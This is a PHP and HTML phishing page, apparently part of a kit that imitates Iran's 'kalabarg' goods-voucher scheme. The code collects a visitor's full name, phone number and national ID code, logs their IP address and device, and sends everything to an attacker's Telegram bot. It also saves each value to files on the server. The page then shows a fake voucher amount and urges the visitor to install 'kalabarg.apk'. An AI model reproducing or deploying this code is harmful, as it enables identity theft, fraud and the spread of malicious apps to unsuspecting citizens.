<?php
//@black_Widm
include 'info.php';
date_default_timezone_set('Asia/Tehran');
$timestamp = time();
$date_time = date('H:i:s', $timestamp);
$ip = $_SERVER['REMOTE_ADDR'];
$Device = rtrim(explode(' ',$_SERVER['HTTP_USER_AGENT'])[4],")");
$name = $_POST["name"];
$phone = $_POST["phone"];
$meli= $_POST["meli"];
$khan = $_POST["khan"];
$kos = 440;
$zarb = $khan*$kos;

if($zarb == 440){
$zarb = "440,000";
};
if($zarb == 880){
$zarb = "880,000";
};
if($zarb == 1320){
$zarb = "1,320,000";
};
if($zarb == 1760){
$zarb = "1,760,000";
};
if($zarb == 2200){
$zarb = "2,200,000";
};
if($zarb == 2640){
$zarb = "2,640,000";
};
if($zarb == 3080){
$zarb = "3,080,000";
};
if($zarb == 3520){
$zarb = "3,520,000";
};
if($zarb == 3960){
$zarb = "3,960,000";
};
if($zarb == 4400){
$zarb = "4,400,000";
};

$blackwid = "  
🌐 𝐍𝐞𝐰 𝐋𝐨𝐠𝐢𝐧 𝐖𝐞𝐛𝐬𝐢𝐭𝐞 [ $Device ]
⏳𝐓𝐢𝐦𝐞 : <code>$date_time</code>

🧩 𝐍𝐚𝐦𝐞 :  [ <code>$name</code> ]
📲𝑷𝒉𝒐𝒏𝒆  : [ <code>$phone</code> ]
🎫𝐂𝐨𝐝𝐞𝐌𝐞𝐥𝐢 : [ <code>$meli</code> ]

  🎴𝐢𝐩 : <code> $ip </code>

👨‍💻𝐁𝐲 : @black_widm
";

function Tel($method,$Bot=[]){
global $TOKEN;
$url = "https://api.telegram.org/bot$TOKEN/".$method;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$Bot);
$res = curl_exec($ch);
if(curl_error($ch)){
var_dump(curl_error($ch));
}else{
return json_decode($res);
}
}
Tel('sendMessage',[
'chat_id'=>$ID,
'text'=>"$blackwid",
'parse_mode'=>"HTML",
'reply_markup' => json_encode([
'inline_keyboard' => [
[["text" => "Dev", 'url' => "https://t.me/Mr_X00S"],["text" => "$ip", 'url' => "https://check-host.net/ip-info?host=$ip"]],
]
])
]);

$cm = "data/$ip-name1.txt";

$file = fopen($cm, "w") or die("امکان ایجاد فایل وجود ندارد!");
fwrite($file, $name1);
fclose($file);

$cm4 = "data/$ip-fullname.txt";

$file = fopen($cm4, "w") or die("امکان ایجاد فایل وجود ندارد!");
fwrite($file, $name);
fclose($file);

$cm2 = "data/$ip-number.txt";

$file = fopen($cm2, "w") or die("امکان ایجاد فایل وجود ندارد!");
fwrite($file, $phone);
fclose($file);

$cm3 = "data/$ip-meli.txt";

$file = fopen($cm3, "w") or die("امکان ایجاد فایل وجود ندارد!");
fwrite($file, $meli);
fclose($file);

$cm4 = "data/$ip-sod.txt";
$file = fopen($cm4, "w") or die("امکان ایجاد فایل وجود ندارد!");
fwrite($file, $zarb);
fclose($file);

?>	
<html lang="fa" dir="rtl">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        @font-face {
            font-family: 'vazir';
            src: url(./font/Vazir.eot);
            src: url(./font/Vazir.ttf);
        }

        body {
            font-family: vazir;
        }
    </style>
</head>

<body style="background-image: url(./images/banner.jpg); background-position: center; background-size: cover; background-attachment: fixed;">
    <main class="flex justify-center text-center items-center my-4">
        <div class="Lg:w-[30%]">
            <div class="bg-yellow-500 text-3xl p-10">مبلغ کالابرگ شما<?php echo $zarb?><br>
                تومان
            </div>
            <div class="p-6 grid grid-cols-2 bg-white gap-y-3 gap-x-10">
                <span>وضعیت حساب</span>
                <span class="bg-red-700 rounded-lg">دریافت نشده</span>
                <span>دریافت</span>
                <span class="bg-green-700 rounded-lg">امکان پذیر</span>
            </div>
            <p class="bg-white">متقاضی گرامی برای دریافت کالابرگ خود روی دریافت کالابرگ کلیک کرده و اپلیکشن کالابرگ من را نصب نموده و از طریق ان کالابرگ خود را دریافت کنید<?php $name?></p>
            <br>
            <a href="kalabarg.apk" class="bg-yellow-500 rounded-lg p-1 my-2 text-lg">دریافت کالابرگ</a>
            <h2 class="mb-2 text-2xl text-white"><?echo $zarb; ?> تومان</h2>
            <div class=" grid grid-cols-6 gap-2">
                <div class="bg-gray-500 h-[8rem] self-end"></div>
                <div class="bg-gray-500 h-[12rem] self-end"></div>
                <div class="bg-gray-500 h-[5rem] self-end"></div>
                <div class="bg-gray-500 h-[20rem] self-end"></div>
                <div class="bg-gray-500 h-[15rem] self-end"></div>
                <div class="bg-gray-500 h-[9rem] self-end"></div>
            </div>
            <div class=" grid grid-cols-6 gap-2 text-white">
                <span>101%</span>
                <span>50%</span>
                <span>39%</span>
                <span>80%
                </span>
                <span>108%</span>
                <span>83%</span>
            </div>
        </div>
    </main>
</body>

</html>